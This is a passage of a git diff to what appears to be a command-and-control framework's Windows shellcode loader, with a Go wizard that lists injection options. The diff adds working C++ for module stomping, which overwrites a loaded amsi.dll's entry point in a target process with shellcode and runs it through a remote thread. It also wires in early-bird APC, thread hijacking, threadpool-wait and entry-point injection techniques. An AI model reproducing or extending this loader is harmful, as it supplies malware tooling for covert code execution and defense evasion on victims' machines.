+ if (GetModuleBaseNameA(hProcess, hRemoteModule, sRemoteModuleName, sizeof(sRemoteModuleName)) != 0) + { + if (std::string(sRemoteModuleName).compare("amsi.dll") == 0) + { + break; + } + } + } + + if (!hRemoteModule) + { + return FALSE; + } + + // Get DLL's AddressOfEntryPoint + DWORD dwHeaderBufferSize = 0x1000; + LPVOID lpTargetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwHeaderBufferSize); + if (!System::Process::VirtualMemoryRead( + pProcs, + hProcess, + hRemoteModule, + lpTargetProcessHeaderBuffer, + dwHeaderBufferSize, + nullptr + )) { + return FALSE; + } + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpTargetProcessHeaderBuffer; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)lpTargetProcessHeaderBuffer + pDosHeader->e_lfanew); + LPVOID lpDllEntryPoint = (LPVOID)(pNtHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)hRemoteModule); + + if (!System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpDllEntryPoint, + lpBuffer, + dwBufferSize, + nullptr + )) { + return FALSE; + } + + // Execute shellcode from inside the benigh DLl + if (!System::Process::RemoteThreadCreate( + pProcs, + hProcess, + (PTHREAD_START_ROUTINE)lpDllEntryPoint, + nullptr + )) { + return FALSE; + } + + return TRUE; + } } \ No newline at end of file diff --git a/payload/win/loader/src/hermit.cpp b/payload/win/loader/src/hermit.cpp index 8ee1e98..3f9a6f7 100644 --- a/payload/win/loader/src/hermit.cpp +++ b/payload/win/loader/src/hermit.cpp @@ -10,7 +10,11 @@ namespace Hermit { return nullptr; } - + HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll"); + if (!hKernel32DLL) + { + return nullptr; + } HMODULE hWinHTTPDLL = LoadLibrary(L"winhttp.dll"); if (!hWinHTTPDLL) { @@ -28,9 +32,10 @@ namespace Hermit pState->pCrypt = Crypt::InitCrypt(AES_KEY_BASE64_W, AES_IV_BASE64_W); // pState->pTeb = NtCurrentTeb(); + pState->hKernel32DLL = hKernel32DLL; pState->hNTDLL = hNTDLL; pState->hWinHTTPDLL = hWinHTTPDLL; - pState->pProcs = Procs::FindProcs(hNTDLL, hWinHTTPDLL, pState->bIndirectSyscalls); + pState->pProcs = Procs::FindProcs(hNTDLL, hKernel32DLL, hWinHTTPDLL, pState->bIndirectSyscalls); pState->lpPayloadType = PAYLOAD_TYPE_W; pState->lpPayloadTechnique = PAYLOAD_TECHNIQUE_W; pState->lpPayloadProcessToInject = PAYLOAD_PROCESS_TO_INJECT_W; @@ -141,8 +146,8 @@ namespace Hermit { Technique::Injection::ProcessHollowing( pState->pProcs, - (LPVOID)bytes.data(), - pState->lpPayloadProcessToInject + pState->lpPayloadProcessToInject, + bytes ); } @@ -168,15 +173,66 @@ namespace Hermit if (wcscmp(pState->lpPayloadTechnique, L"shellcode-injection") == 0) { DWORD dwTargetPID = System::Process::ProcessGetIdByName(pState->lpPayloadProcessToInject); - Technique::Injection::ShellcodeInjection(pState->pProcs, dwTargetPID, bytes); + Technique::Injection::ShellcodeInjection( + pState->pProcs, + dwTargetPID, + bytes + ); + } + else if (wcscmp(pState->lpPayloadTechnique, L"via-fibers") == 0) + { + Technique::Injection::ShellcodeExecutionViaFibers( + pState->pProcs, + bytes + ); + } + else if (wcscmp(pState->lpPayloadTechnique, L"via-apc-and-nttestalert") == 0) + { + Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert( + pState->pProcs, + bytes + ); + } + else if (wcscmp(pState->lpPayloadTechnique, L"early-bird-apc-queue-code-injection") == 0) + { + Technique::Injection::EarlyBirdAPCQueueCodeInjection( + pState->pProcs, + pState->lpPayloadProcessToInject, + bytes + ); + } + else if (wcscmp(pState->lpPayloadTechnique, L"via-create-threadpool-wait") == 0) + { + Technique::Injection::ShellcodeExecutionViaCreateThreadpoolWait( + pState->pProcs, + bytes + ); + } + else if (wcscmp(pState->lpPayloadTechnique, L"thread-execution-hijacking") == 0) + { + DWORD dwTargetPID = System::Process::ProcessGetIdByName(pState->lpPayloadProcessToInject); + Technique::Injection::ThreadExecutionHijacking( + pState->pProcs, + dwTargetPID, + bytes + ); } - else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-fibers") == 0) + else if (wcscmp(pState->lpPayloadTechnique, L"address-of-entry-point-injection") == 0) { - Technique::Injection::ShellcodeExecutionViaFibers(pState->pProcs, bytes); + Technique::Injection::AddressOfEntryPointInjection( + pState->pProcs, + pState->lpPayloadProcessToInject, + bytes + ); } - else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-apc-and-nttestalert") == 0) + else if (wcscmp(pState->lpPayloadTechnique, L"module-stomping") == 0) { - Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(pState->pProcs, bytes); + DWORD dwTargetPID = System::Process::ProcessGetIdByName(pState->lpPayloadProcessToInject); + Technique::Injection::ModuleStomping( + pState->pProcs, + dwTargetPID, + bytes + ); } State::Free(pState); diff --git a/pkg/common/wizard/payload.go b/pkg/common/wizard/payload.go index 39bb90f..d9167b7 100644 --- a/pkg/common/wizard/payload.go +++ b/pkg/common/wizard/payload.go @@ -386,9 +386,13 @@ func WizardPayloadLoader( // Shellcode Loader items = []string{ "shellcode-injection", - "shellcode-execution-via-fibers", - "shellcode-execution-via-apc-and-nttestalert", - // "dll-hollowing", + "via-fibers", + "via-apc-and-nttestalert", + "early-bird-apc-queue-code-injection", + "via-create-threadpool-wait", + "thread-execution-hijacking", + "address-of-entry-point-injection", + "module-stomping", // "process-mockingjay", } } @@ -406,7 +410,11 @@ func WizardPayloadLoader( if oTechnique == "dll-injection" || oTechnique == "process-hollowing" || oTechnique == "reflective-dll-injection" || - oTechnique == "shellcode-injection" { + oTechnique == "shellcode-injection" || + oTechnique == "early-bird-apc-queue-code-injection" || + oTechnique == "thread-execution-hijacking" || + oTechnique == "address-of-entry-point-injection" || + oTechnique == "module-stomping" { for { res, err := stdin.ReadInput("Target Process to Inject", "notepad.exe") if err != nil {